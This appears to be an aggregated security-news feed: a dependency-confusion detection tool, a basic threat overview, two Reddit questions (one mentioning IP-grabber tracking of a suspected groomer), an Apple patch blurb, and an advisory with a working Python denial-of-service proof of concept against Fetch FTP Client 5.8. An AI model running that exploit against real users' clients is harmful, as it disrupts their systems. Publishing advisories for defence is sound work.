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KitPloit - PenTest Tools!
Combobulator - Framework To Detect And Prevent Dependency Confusion Leakage And Potential Attacks

https://blogger.googleusercontent.com/img/a/AVvXsEj8Pw-5EcaYJCPZ-x5MSGwvKGtGAaUvVN1QwgV2L66Sifv1463cLHjlHFEYn9a7FeFgnaLTrRqpXmyYBzOOebYV2pj94tUW2brKrJFgAfXEKmR3gcKcUX-UZ2tW624hzgsEBZHzKAYn_f-tbgBuZiXhGMhwRaFrChionqo7Y_y2RjwJUDgDZo7VOttF=w640-h388 Dependency Combobulator is an Open-Source, modular and extensible framework to detect and prevent dependency confusion leakage and potential attacks. This facilitates a holistic approach for ensuring secure application releases that can be evaluated against different sources (e.g., GitHub Packages, JFrog Artifactory) and many package management schemes (e.g., ndm, maven). Intended AudiencesThe framework can be used by security auditors, pentesters and even baked into an enterprise's application security program and release cycle in an automated fashion. Main features* Pluggable - interject on commit level, build, release steps in SDLC.
* Expandable - easily add your own package management scheme or code source of choice
* General-purpose Heuristic-Engine - an abstract package data model provides agnostic heuristic approach
* Supporting wide range of technologies
* Flexible - decision trees can be determined upon insights or verdicts provided by the toolkit Easly exstensibleThe project is putting practicionar's ability to extend and fit the toolkit to her own specific needs. As such, it is designed to be able to extend it to other sources, public registries, package management schemes and extending the abstract model and accompnaied heuristics engine. InstallationDependency Combobulator is ready to work with as it is - just git cloneor download the package from https://github.com/apiiro/combobulator

Make sure to install required dependencies by running: pip install -r requirements.txtArguments (--help)Access Token (Overrides .env file setting) -a {compare,comp,heuristics,heur}, --analysis {compare,comp,heuristics,heur} Required analysis level - compare (comp), heuristics (heur) (default: compare) Apiiro -h, --help show this help message and exit
-t {npm,NuGet,maven}, --type {npm,NuGet,maven}
Package Manager Type, i.e: npm, NuGet, maven
-l LIST_FROM_FILE, --load_list LIST_FROM_FILE
Load list of dependencies from a file
-d FROM_SRC, --directory FROM_SRC
Extract dependencies from local source repository
-p--package SINGLE Name a single package.
-c CSV, --csv CSV Export packages properties onto CSV file
-gh GITHUB_TOKEN, --github GITHUB_TOKEN
GitHub Access Token (Overrides .env file setting)
-a {compare,comp,heuristics,heur}, --analysis {compare,comp,heuristics,heur}
Required analysis level - compare (comp), heuristics
(heur) (default: compare)

Apiiro

Supported package types (-t, --t): npm, maven

Supported source dependency assessment:

* From file containing the dependency identifiers line-by-line. (-l, --load_list)
* By analyzing the appropriate repo's software bill-of-materials (e.g. package.json, pom.xml) (-d, --directory)
* Naming a single identifier (-p, --package)

Analysis level is customizable as you can build your own preferred analysis profile in seconds. Dependency Combobulator does come with several analysis levels out-of-the-box, selected by -a, --analysis

Supported output format:

* Screen stdout (default)
* CSV export to designated file -(-CSV) CreditsThe project is maintained and sponsored by Apiiro with

We honor great developers & AppSec practitioners with a passion for change Download Combobulator

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Kali Linux Tutorials
5 Types of Cyber Security Threats

A cyber-attack can cause devastating effects on a business. Not only can it shut down your operations, but your reputation can be significantly impacted.

In order to prevent them from happening as much as possible, it’s essential to know what types of threats there are. Below, we will talk about just five that you should watch out for.

Sound interesting? Then let’s get started.

Malware

Malware is one of the most well-known cyber security threats installed through dangerous links and attachments. It can be used to describe other terms, such as viruses, ransomware, spyware, and worms.

Once your computer or device has become infected, it can cause several issues. For example, some may spam you with advertisements, while others will crack passwords and lock your important files.

This is why it can be worth seeking out a managed security services provider to help you establish a great protection plan. It’s better to focus on prevention before it’s too late.

Phishing

Phishing is an attack that uses an email to trick the recipient into sending personal information, such as credit card details. Often, they are disguised to look exactly like a well-known company.

Some emails will contain malware that is installed after clicking on a link, while others will communicate with the recipient directly. Luckily, there are ways to identify them.

You may notice:

– Grammar and spelling errors

– Inconsistencies in email addresses

– Sense of urgency

Suspicious attachments

Data Spill

A data spill or data breach is when personal information becomes available to another unauthorized person. This could be due to hacking or something as simple as accidentally sending an email to the wrong person.

In order to prevent these types of breaches from happening, businesses can use a variety of tools, such as XDR or Extended Detection and Response. You can read more about how it works here.

Denial of Service Attack

Also known as DOS, Denial of Service attacks overload your system with requests. This can either cause it to shut down or become inaccessible to users.

Compared to the other threats on this list, DOS attacks don’t necessarily aim to steal information but instead cause a company to lose time and money.

Man in the Middle Attack

Like in a spy movie, a “Man in the Middle” attack occurs when a hacker spies between two people to steal information. They are one of the oldest types of cyber threats and aren’t as common as those mentioned above.

This is because the same effect can generally be done with malware. That being said, it’s still something that can cause a lot of damage.

Final Words

And that’s it. These were five types of cyber security threats. By learning more about them, you can focus on building strategies to help protect you and your information.

However, keep in mind there are many others that you may want to look further into, some of which include:

– SQL Injection

– DNS Tunnelling

– Drive-by Attack

– Password Attack

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hacking: security in practice
How do companies that investigate dark web data dumps make money?

I was listening to Dark Net Diaries (Marq) and we get told how the data he tries to sell on the dark web ends up being bought but an IT security company who purposely access the dark web and buy these data dumps from hackers so they can investigate the data, see who it belongs to, tell the company and hand over info to the FBI.

My question is where exactly in this process does a company like this make money? In this specific example they legit paid $600 worth of BTC for the data dump, so where are they making this money back + profits? Do the FBI pay them for the info? Do the victim company pay them?

submitted by /u/deadassmf
[link] [comments]

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hacking: security in practice
Finding enough info to report a child groomer

Hello. I’m not sure where to post this, but I’ve been in this community for quite a while and you might just be able to help me out.

So long story short, I’ve been contacted by someone claiming they were from Iran and 26. I told her my age - 16 - and she continued to chat as if it were no big deal.

The problem arose when I checked the number linked to her account and it was not from Iran, but rather Australia (where I live). I did the whole grabify thingo and turns out she lives in my city very close to me.

Now, we have learnt a lot of child groomers, pedophiles etc and I can guarantee that this is one and not just one of my friends trolling me (they would’ve said by now since I confronted her).

I was just wondering if there is anything I could do, “hacking-wise” (hate that term), to have enough info to report the person. Because if it’s not me, then she will definitely hunt down someone else. And this is something I cannot stand.

My PMs are open, if anyone would like to suggest something for me to do or discuss about anything that’s happened, steps I should take etc.

I have done the best I can with my abilities and now can only rely on you experts to help me in this situation.

Thank you in advance.

submitted by /u/Rupesh2128
[link] [comments]

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Dark Reading: Attacks/Breaches
More Security Flaws Found in Apple's OS Technologies

Apple's updates this week included fixes for two zero-day flaws, several code execution bugs, and vulnerabilities that allowed attackers to bypass its core security protections.
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Exploit Collector
Fetch Softworks Fetch FTP Client 5.8 Denial Of Service

https://1.bp.blogspot.com/-oHWy7Hh5Fq0/WWlvjd6DOFI/AAAAAAAAIQk/2SpYZjutgb8xmw4nQNmHjmGkgvDsryz_gCLcBGAs/s1600/h93.png
Fetch Softworks Fetch FTP Client version 5.8 suffers from a remote CPU consumption denial of service vulnerability.

MD5 | b120c41a241827707c8e3340029f43d7

Download
#!/usr/bin/env python
#
#
# Fetch Softworks Fetch FTP Client 5.8 Remote CPU Consumption (Denial of Service)
#
#
# Vendor: Fetch Softworks
# Product web page: https://www.fetchsoftworks.com
# Affected version: 5.8.2 (5K1354)
#
# Summary: Fetch is a reliable, full-featured file transfer client for the
# Apple Macintosh whose user interface emphasizes simplicity and ease of use.
# Fetch supports FTP and SFTP, the most popular file transfer protocols on
# the Internet for compatibility with thousands of Internet service providers,
# web hosting companies, publishers, pre-press companies, and more.
#
# Desc: The application is prone to a DoS after receiving a long server response
# (more than 2K bytes) leading to 100% CPU consumption.
#
# --------------------------------------------------------------------------------
# ~/Desktop> ps ucp 3498
# USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
# lqwrm 3498 100.0 0.5 60081236 54488 ?? R 5:44PM 4:28.97 Fetch-5K1354-266470421
# ~/Desktop>
# --------------------------------------------------------------------------------
#
# Tested on: macOS Monterey 12.2
# macOS Big Sur 11.6.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2022-5696
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5696.php
#
#
# 27.01.2022
#

import socket

host = '0.0.0.0'
port = 21

s = socket.socket()
s.bind((host, port))
s.listen(2)

print('Ascolto su', host, 'porta', port, '...')

consumptor = '220\x20'
consumptor += 'ftp.zeroscience.mk'
consumptor += '\x00' * 0x101E
consumptor += '\x0D\x0A'

while True:
try:
c, a = s.accept()
print('Connessione da', a)
print('CPU 100%, Memory++')
c.send(bytes(consumptor, 'UTF-8'))
c.send(b'Thricer OK, p\'taah\x0A\x0D')
print(c.recv(17))
except:
break

Source:packetstormsecurity.com

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